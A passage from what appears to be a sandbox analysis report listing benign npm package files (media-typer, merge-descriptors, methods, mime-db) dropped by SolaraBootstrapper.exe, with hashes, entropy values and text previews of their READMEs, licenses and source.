HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	5.06717829280703
Encrypted:	false
SSDEEP:	48:PqXC9RRlZ+Jc+4+K+7yy+A+WsJ2czvJfUluJe2eontoRYo7WTj7m7oyAYyotH:CXCkc+Nq2GxfUweutaYkWTv6NyKH
MD5:	6E254E8CCC8CE7EAF9CDD8E5852D7BDF
SHA1:	7899A1B0B168A36A0933D91ED9C3E399751A8D9C
SHA-256:	12B47B8B2E2A0F70289B2F3FD9F810422F918B78024E0019E86C2C9BC4AF695A
SHA-512:	2BFDC2AC9137B0DC157E56951707F3DC0FC3FA8D721D84F891B0987CC456008BF6C29AE5DEDEAC965433BD782DBFE246119035B9714F34F526D1335EED117088
Malicious:	false
Preview:	# media-typer..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Simple RFC 6838 media type parser..## Installation..```sh.$ npm install media-typer.```..## API..```js.var typer = require('media-typer').```..### typer.parse(string)..```js.var obj = typer.parse('image/svg+xml; charset=utf-8').```..Parse a media type string. This will return an object with the following.properties (examples are shown for the string `'image/svg+xml; charset=utf-8'`):.. - `type`: The type of the media type (always lower case). Example: `'image'`.. - `subtype`: The subtype of the media type (always lower case). Example: `'svg'`.. - `suffix`: The suffix of the media type (always lower case). Example: `'xml'`.. - `parameters`: An object of the parameters in the media type (name of parameter always lower case). Example:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6375
Entropy (8bit):	5.122672612037347
Encrypted:	false
SSDEEP:	96:Yn3wI5CTe4oajGzdxa3ua+60ZKVL/d45eyMqhhyINF+j0tstwz7sgH:Yn3N0Te4Hj8KJ+6/oRbycMYCwT
MD5:	EF1845377CBBF76EDD411A370738ED2B
SHA1:	CC79807E8585C09FB195FFB8CA37BBC04DC26708
SHA-256:	27AF6DE782C53C57C4A8F111A81CD26B8D68C896C2DCD83E27DA4C73234CE16B
SHA-512:	42AB06CB822A3C6949252B3945E962B0D343F0FD12492A8650C525733D2C9F7D6ED893E05922981DA05B92909600C6F2E42A75CBEFFBF14EB2B8ED167EB8D159
Malicious:	false
Preview:	/!. media-typer. * Copyright(c) 2014 Douglas Christopher Wilson. * MIT Licensed. /../. RegExp to match ( ";" parameter ) in RFC 2616 sec 3.7. . * parameter = token "=" ( token \| quoted-string ). * token = 1<any CHAR except CTLs or separators>. separators = "(" \| ")" \| "<" \| ">" \| "@". * \| "," \| ";" \| ":" \| "\" \| <">. * \| "/" \| "[" \| "]" \| "?" \| "=". * \| "{" \| "}" \| SP \| HT. * quoted-string = ( <"> (qdtext \| quoted-pair ) <"> ). qdtext = <any TEXT except <">>. * quoted-pair = "\" CHAR. * CHAR = <any US-ASCII character (octets 0 - 127)>. * TEXT = <any OCTET except CTLs, but including LWS>. * LWS = [CRLF] 1( SP \| HT ). CRLF = CR LF. * CR = <US-ASCII CR, carriage return (13)>. * LF = <US-ASCII LF, linefeed (10)>. * SP = <US-ASCII SP, space (32)>. * SHT = <US-ASCII HT, horizontal-tab (9)>. * CTL = <any US-ASCII control

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	4.862415517696567
Encrypted:	false
SSDEEP:	12:be7pH1HQDLCUqWV1JktPRGCjPGWjVSYMiPOyZiPjXy8enYMw:S7pH10LC/WTk9BmZy4y8e1w
MD5:	127CE4ABEB265C6EEF7B45540241CA91
SHA1:	866C9EA28A167B6800DA67CDBE18CC9F0EC5CBAB
SHA-256:	8CCF875E488E700B79EC48386E2F47C51C5F26297EC74E5E4E5D92DC5D70EF30
SHA-512:	BE57A51DC09DBA2DC139ACA8D445DA8B3798C420C2943F2097741AFD0DD14CB183561856B559D83ACFD5A3C2D6049A4BABD67258B23302270046ABEDABC55687
Malicious:	false
Preview:	{. "name": "media-typer",. "description": "Simple RFC 6838 media type parser and formatter",. "version": "0.3.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "jshttp/media-typer",. "devDependencies": {. "istanbul": "0.3.2",. "mocha": "~1.21.4",. "should": "~4.0.4". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.443514376022814
Encrypted:	false
SSDEEP:	6:SOtSYT4v/mTozlzD+jk2DCyqucPLh8S1VN/X3r1vhdUsj2:htTbQtkDHcPL5VNPbOf
MD5:	ED8BAD35FDE048C49302F3138BC4EC7B
SHA1:	1CFD5FEC0DC757A92E3A857B195F931316557BA7
SHA-256:	95DC03EB48A629F2136BBB0D2427963E6AD71906CCD532B28074F438C5CC70AC
SHA-512:	BF035C43D555562BDDEA1995FA697FBC71D9A3D371E8F0EC845759D528F01E350C33910FE8601D66D266C1FAF3A3FF97B0499DC80C5BCA101494DD42B5C8BD8E
Malicious:	false
Preview:	1.0.1 / 2016-01-17.==================.. * perf: enable strict mode..1.0.0 / 2015-03-01.==================.. * Add option to only add new descriptors. * Add simple argument validation. * Add jsdoc to source file..0.0.2 / 2013-12-14.==================.. * Move repository to `component` organization..0.0.1 / 2013-10-29.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:goiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:goiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	AAF57BA8C5C9BF256FEA7E943991A81A
SHA1:	338F56A09453C79D1E5279C4E74C91CE678F5DCF
SHA-256:	62FB7D7C1822FE783895866057247BBD50164B00631FCE9E4981D3897BDEE4D9
SHA-512:	7747C49E266A69074F989DF742F451A2C4A6F303E412361CFC0C75100E6FB8E258085843E6C6F1CD9C529558556615D67C5778AA7DA2C7C58D49411E0DEA6D00
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2013 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	4.932959396495419
Encrypted:	false
SSDEEP:	24:kiPeqXSCARbAq4p4H3kr1xE5UxRQPgILAt+W6myAY+NJ7dor:BmqX8RbUyXkxkUxFw7mZYA2
MD5:	92A3BCC5F7E8A33DE24B60BD6CA5C33F
SHA1:	8A466525191DE1D001D572FF8A6918879C395C3C
SHA-256:	ACE60D05B7AF34523EEFD407449E52F2B9EA33E26E212CF4F4B389CE60186320
SHA-512:	730FECB727AF2AA7F2E5123C3CC17F8ED1526298FCE4C0979E16332143D0EEA9A080782299B986894A44C0792B154015BE00D9EA2F632B663E398F5F7C61802A
Malicious:	false
Preview:	# Merge Descriptors..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Merge objects using descriptors...```js.var thing = {. get name() {. return 'jon'. }.}..var animal = {..}..merge(animal, thing)..animal.name === 'jon'.```..## API..### merge(destination, source)..Redefines `destination`'s descriptors with `source`'s...### merge(destination, source, false)..Defines `source`'s descriptors on `destination` if `destination` does not have.a descriptor by the same name...## License..[MIT](LICENSE)..[npm-image]: https://img.shields.io/npm/v/merge-descriptors.svg.[npm-url]: https://npmjs.org/package/merge-descriptors.[travis-image]: https://img.shields.io/travis/component/merge-descriptors/master.svg.[travis-url]: https://travis-ci.org/component/merge-descriptors.[coveralls-image]: https://img.shields.io/coveralls/component/merge-descriptors/master.svg.[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	4.792495369567698
Encrypted:	false
SSDEEP:	24:jUj+X3+kpAtBJ9H8qB83IYxoWFZPq/YFHEuiayAQ:jdXukGH9H7B4IYnZPKYFHZiaXQ
MD5:	B4D3859E603602C87A45682862055AF0
SHA1:	E95CB1C14D70BE457EBA2CE61B2F4E90A13B21B1
SHA-256:	88564234B9EEB2F0FE2CC5D03F617A97EB4802F126BDD21AA223C3C87C02531C
SHA-512:	B17BB8C8B652F27D8037ED60F28B0D19A68E77BCC45D1E2BE7DD304C942F6E85570E9720011F983FB8783D670EB66C0C3174D5FD90690B2AA79C2B402ADCD00A
Malicious:	false
Preview:	/!. merge-descriptors. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = merge../. Module variables.. * @private. /..var hasOwnProperty = Object.prototype.hasOwnProperty../. Merge the property descriptors of `src` into `dest`. . @param {object} dest Object to add descriptors to. * @param {object} src Object to clone descriptors from. * @param {boolean} [redefine=true] Redefine `dest` properties with `src` properties. * @returns {object} Reference to dest. * @public. */..function merge(dest, src, redefine) {. if (!dest) {. throw new TypeError('argument dest is required'). }.. if (!src) {. throw new TypeError('argument src is required'). }.. if (redefine === undefined) {. // Default to true. redefine = true. }.. Object.getOwnPropertyNames(src).forEach(function forEachOwnPropertyName(name) {. if (!redefine && hasOwnProperty.call(des

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\merge-descriptors\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	4.836039258651588
Encrypted:	false
SSDEEP:	24:kVwAv1rGS+7UEGGQxVSAQeWPRZKly8e1xyy:kVw+rGT7Vd+VXQdPRojg9
MD5:	570E06D8CE0167E07A32BA70FDD56795
SHA1:	39DC652DFA419D46D6FED0835444C603C57077F8
SHA-256:	45EBE570483C48B6460767FC4A0BB69E4DEE4BF4BECC645B0E0627172A30A580
SHA-512:	9C8DDF41B3207016935AFFCE00108D87F176A9E473A01F03F1110456397C88EE2FBAF34F9E497E6CBFF2B65C4F4C7F254A5129B4C1EAA2B85FBEBFFB8FE43777
Malicious:	false
Preview:	{. "name": "merge-descriptors",. "description": "Merge objects using descriptors",. "version": "1.0.1",. "author": {. "name": "Jonathan Ong",. "email": "me@jongleberry.com",. "url": "http://jongleberry.com",. "twitter": "https://twitter.com/jongleberry". },. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Mike Grabowski <grabbou@gmail.com>". ],. "license": "MIT",. "repository": "component/merge-descriptors",. "devDependencies": {. "istanbul": "0.4.1",. "mocha": "1.21.5". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "index.js". ],. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	4.478113238217573
Encrypted:	false
SSDEEP:	6:SUdSYT4v/dub7TtSH5vU6oQ0S6lIl9lkdQcSSMhLvo4y9QUchAneAvn:dTpbUx83VlIlY2XvFwBDeKn
MD5:	0355FB5E6662FFCDF19E5F736882F34D
SHA1:	A6D25D5B55C605C66CA1652C61BEC0494505FA2F
SHA-256:	4C23C63B7E97453A1517F474714EC21D6D590BFACE0961788EC748B800A4E789
SHA-512:	446C14E1D21980C6D27A1E634047C7DE536F0FAAE5FD711646A39ED51A0469F18D0651629C957225C872932F8E4D772DF9D41BD914EF2889B5EB7F244823735E
Malicious:	false
Preview:	1.1.2 / 2016-01-17.==================.. * perf: enable strict mode..1.1.1 / 2014-12-30.==================.. * Improve `browserify` support..1.1.0 / 2014-07-05.==================.. * Add `CONNECT` method. .1.0.1 / 2014-06-02.==================.. * Fix module to work with harmony transform..1.0.0 / 2014-05-08.==================.. * Add `PURGE` method..0.1.0 / 2013-10-28.==================.. * Add `http.METHODS` support.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	5.22582736815138
Encrypted:	false
SSDEEP:	24:M4iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFz:RiJfxfPvGt7ICMPH+sfINi3OMFz
MD5:	C16A7DD9F946172F07086576D135D9D3
SHA1:	C5761D628A53F59EBFBADCA4EFF7150083D3EBD6
SHA-256:	1DA7F0788D14D545B2B953F78A27B916D320DFA174C2FCFA124C5AAFFA81056E
SHA-512:	44B976ADC2F8D1B6E87FED375E3AB8D6C155EE8BF73902690EA8891BB8E85EBC9917515F5C3F866B1037404C4A62BCFE83AD79AC5BFE57EBD3DD953176668F17
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2013-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2015-2016 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMA

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	5.025036562613654
Encrypted:	false
SSDEEP:	24:kyeqXSX240ARL2R47QX/KV6k2z/X1p32zZY2jc/HQCN/R+IAPWWW6mg+NgWoG:wqXC9RRLf72z/lB24qWW7mgAL
MD5:	882A4DF2D7DC4B518FD3BB8C85E1C652
SHA1:	4148C08077812690AEB399D0B063DF47BB2EA674
SHA-256:	118D134E8BCD8B81D0A3596E0DED6D10372F9EC1E5DF5A5B8B4295923973C7F4
SHA-512:	1403B308E281C31B278F04AA43ABF1B0EF377D8B6F2A5BE7FEA7F158446861E5FAC90B323734B81023467565B4771A197EF1B3F98E283F68410C62DE1E0917BC
Malicious:	false
Preview:	# Methods..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..HTTP verbs that Node.js core's HTTP parser supports...This module provides an export that is just like `http.METHODS` from Node.js core,.with the following differences:.. * All method names are lower-cased.. * Contains a fallback list of methods for Node.js versions that do not have a. `http.METHODS` export (0.10 and lower).. * Provides the fallback list when using tools like `browserify` without pulling. in the `http` shim module...## Install..```bash.$ npm install methods.```..## API..```js.var methods = require('methods').```..### methods..This is an array of lower-cased method names that Node.js supports. If Node.js.provides the `http.METHODS` export, then this is the same array lower-cased,.otherwise it is a snapshot of th

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.856261055300312
Encrypted:	false
SSDEEP:	24:p+xR+nngR9AtBtQbZnTH18NHbdxMfLUKkS5ihLGiOtAKK:Mxk2a8ZnD1kd+fL9fihCtAKK
MD5:	17D4A4BA378C1FD10DCFD061439F7EA0
SHA1:	82EB55245F510E6CBC580F5CED1DC9D64D664D2A
SHA-256:	670576BFE96EB9E4FECD1E8C19F491A68B9BFD7DA0E7564CD0A3C2EBD3839180
SHA-512:	06C8F5DE256A9300379A075CD55D9ACC9D9B29E7E913D08F964CD2CD347CC4D5D1A95B8ADC15936431AA67B6B39ADA2BC8C650CF292BAAB9BD8F2415722F0EE1
Malicious:	false
Preview:	/!. methods. * Copyright(c) 2013-2014 TJ Holowaychuk. * Copyright(c) 2015-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module dependencies.. * @private. /..var http = require('http');../. Module exports.. * @public. /..module.exports = getCurrentNodeMethods() \|\| getBasicNodeMethods();../. Get the current Node.js methods.. * @private. /..function getCurrentNodeMethods() {. return http.METHODS && http.METHODS.map(function lowerCaseMethod(method) {. return method.toLowerCase();. });.}../. Get the "basic" Node.js methods, a snapshot from Node.js 0.10.. * @private. */..function getBasicNodeMethods() {. return [. 'get',. 'post',. 'put',. 'head',. 'delete',. 'options',. 'trace',. 'copy',. 'lock',. 'mkcol',. 'move',. 'purge',. 'propfind',. 'proppatch',. 'unlock',. 'report',. 'mkactivity',. 'checkout',. 'merge',. 'm-search',. 'notify',. 'subscribe',. 'unsubscribe',. 'pat

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\methods\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	947
Entropy (8bit):	4.8785312207640015
Encrypted:	false
SSDEEP:	12:FvKB1XxR7CNZzZrdEQN54sUrUDeWfk/GaPjjPGWjVSYLZLPOyZiPjXy8enYMXwOx:FiB1XxVWbxVhUQeW6PBlZqy4y8e1LCU
MD5:	8A9CBEAD0F83BF845207AD21534DFDFA
SHA1:	93FAB7B874AFA4232986A2CAB9A7E900B5EAEE5A
SHA-256:	1AEA21641646C87A589208A9363141CD2ACD503DB45C635F8217613C45837C09
SHA-512:	E21EBB4897EE770DEBD4C3F1B0DCF52397FEDFA28B6BD7DA1C1CE8C371B170F7292D0E75828ECAD3A4B34D574DDAEE3955DA1797D8EE7AB75BA93C2BB7EF003E
Malicious:	false
Preview:	{. "name": "methods",. "description": "HTTP methods that node supports",. "version": "1.1.2",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)". ],. "license": "MIT",. "repository": "jshttp/methods",. "devDependencies": {. "istanbul": "0.4.1",. "mocha": "1.21.5". },. "files": [. "index.js",. "HISTORY.md",. "LICENSE". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". },. "browser": {. "http": false. },. "keywords": [. "http",. "methods". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12581
Entropy (8bit):	4.883495288508285
Encrypted:	false
SSDEEP:	192:YItJYGvMrnhiEafOY1+x+ve6Qq837C7jwB0Db:1403
MD5:	183C405FF4F34B51DBD9C852CE358505
SHA1:	1711A633B4C2C243E879695EE0DC6B359FC58D93
SHA-256:	1E820A4AB3B25CC858EED9D2629DDB39BFD48BAB307BEDEC769308C258199AA6
SHA-512:	5CD9760552D300C545DC5DE18170A3A0FDBFB799C70D487408ABB7884DA09A2575A693C3FFE2C9716B28BF46488A68F1A28437E630D04BCC1166E6E849923274
Malicious:	false
Preview:	1.52.0 / 2022-02-21.===================.. * Add extensions from IANA for more `image/` types. Add extension `.asc` to `application/pgp-keys`. * Add extensions to various XML types. * Add new upstream MIME types..1.51.0 / 2021-11-08.===================.. * Add new upstream MIME types. * Mark `image/vnd.microsoft.icon` as compressible. * Mark `image/vnd.ms-dds` as compressible..1.50.0 / 2021-09-15.===================.. * Add deprecated iWorks mime types and extensions. * Add new upstream MIME types..1.49.0 / 2021-07-26.===================.. * Add extension `.trig` to `application/trig`. * Add new upstream MIME types..1.48.0 / 2021-05-30.===================.. * Add extension `.mvt` to `application/vnd.mapbox-vector-tile`. * Add new upstream MIME types. * Mark `text/yaml` as compressible..1.47.0 / 2021-04-01.===================.. * Add new upstream MIME types. * Remove ambigious extensions from IANA for `application/+xml` types. Update primary extension to `.es` for

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.19320181885572
Encrypted:	false
SSDEEP:	24:vXiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:vXiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	175B28B58359F8B4A969C9AB7C828445
SHA1:	DAE0F982FFE71762045FC77C015C83BDA38C1C9E
SHA-256:	CC1DFD4DAFA27271E8212CD3B274EEB3F262E40A6FDAB36DDC3F9696F706F58B
SHA-512:	D9083A273B29FE4DFB0F89675D8EBFE7181C015A73BA38BFA4749E7667835C8E40F11F4D807DBB6248A335D668303174D0162432AE274A81D6A26C5F63720185
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015-2022 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4091
Entropy (8bit):	4.9073909713926644
Encrypted:	false
SSDEEP:	96:fCUAY18/16TqbM8fPBA8u7CG2WG0TARZX:fCDY18/16+Y8BA8u7CG2W1TSZX
MD5:	15BED796DAB121B6C9168E4595F4F651
SHA1:	3264750890E9D8FCFBA36CE72433DFE52CA37034
SHA-256:	5CC863FD64953AFA39D206B510378B73E8C767C5FD124BB8D4017DB921C94855
SHA-512:	7BCB6B463D7BE20668CCB3F5A93C60B9B5A48A6264AB4E27094A8C25F2EE362995829326222CA593E7C169E1E19D6BA0AAA4A78A55C6C23046D9391A80A7A927
Malicious:	false
Preview:	# mime-db..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..This is a large database of mime types and information about them..It consists of a single, public JSON file and does not include any logic,.allowing it to remain as un-opinionated as possible with an API..It aggregates data from the following sources:..- http://www.iana.org/assignments/media-types/media-types.xhtml.- http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types.- http://hg.nginx.org/nginx/raw-file/default/conf/mime.types..## Installation..```bash.npm install mime-db.```..### Database Download..If you're crazy enough to use this in the browser, you can just grab the.JSON file using [jsDelivr](https://www.jsdelivr.com/). It is recommended to.replace `master` with [a release tag](https://github.com/jshttp/mime-db/tags).as the JS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\db.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	185882
Entropy (8bit):	4.5222871698549705
Encrypted:	false
SSDEEP:	1536:WzZZ2YysmG8mlJo8mIp1hIK58RxoF5BD2yFAu7u8JJzoyn8B7Q/zaipLL1HSQtBK:qJN8RxoF5BD2y5Oy6eE
MD5:	052E457B88D815C1792E1F8CE8509FC3
SHA1:	341AF5A9607A11AE8A5845C2E36BC03B137EA684
SHA-256:	85C8E1BA609079947C8DF83C092900AB0226E1D7B60E5E7105FB7DD701833263
SHA-512:	4C629A1A452331A5568CB1BE6AA00EED31AE88EA8F4751C553A225DD4B3A0C32EFF30AB6DBDA44012FAFB0946E25AD11A91E6971424771D26920B26844093ADE
Malicious:	false
Preview:	{. "application/1d-interleaved-parityfec": {. "source": "iana". },. "application/3gpdash-qoe-report+xml": {. "source": "iana",. "charset": "UTF-8",. "compressible": true. },. "application/3gpp-ims+xml": {. "source": "iana",. "compressible": true. },. "application/3gpphal+json": {. "source": "iana",. "compressible": true. },. "application/3gpphalforms+json": {. "source": "iana",. "compressible": true. },. "application/a2l": {. "source": "iana". },. "application/ace+cbor": {. "source": "iana". },. "application/activemessage": {. "source": "iana". },. "application/activity+json": {. "source": "iana",. "compressible": true. },. "application/alto-costmap+json": {. "source": "iana",. "compressible": true. },. "application/alto-costmapfilter+json": {. "source": "iana",. "compressible": true. },. "application/alto-directory+json": {. "source": "iana",. "compressible": true. },. "application/alto-endpointcos

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	189
Entropy (8bit):	5.005582537948525
Encrypted:	false
SSDEEP:	3:US9xIA8HvF99VmDDvUriFqI1cOmDDvmlc6WF3yFhWKZSsDp5cNtPFugAMzBbJw8u:Us89p+UeF3+mlcCFvZSQp6PbAuBg
MD5:	911D3D2AE7BE42B05BA9275ED7722859
SHA1:	F265D2B6A93EBABA408D00215A2BBA98158363AB
SHA-256:	2CCEBF3D525708C915C6A86FFBB68E5023D34C9BC30B6B4021DB9EBBC6CA9ECC
SHA-512:	828A467310483CC1BD852C555C9651E63CA05219B6F438C7FEED53C998A58FE7F00E3A011CF8C5C6760E5EB81F0755899838E7248707B416DA7CF31A818E58B3
Malicious:	false
Preview:	/!. mime-db. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015-2022 Douglas Christopher Wilson. * MIT Licensed. /../. Module exports.. */..module.exports = require('./db.json').

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1624
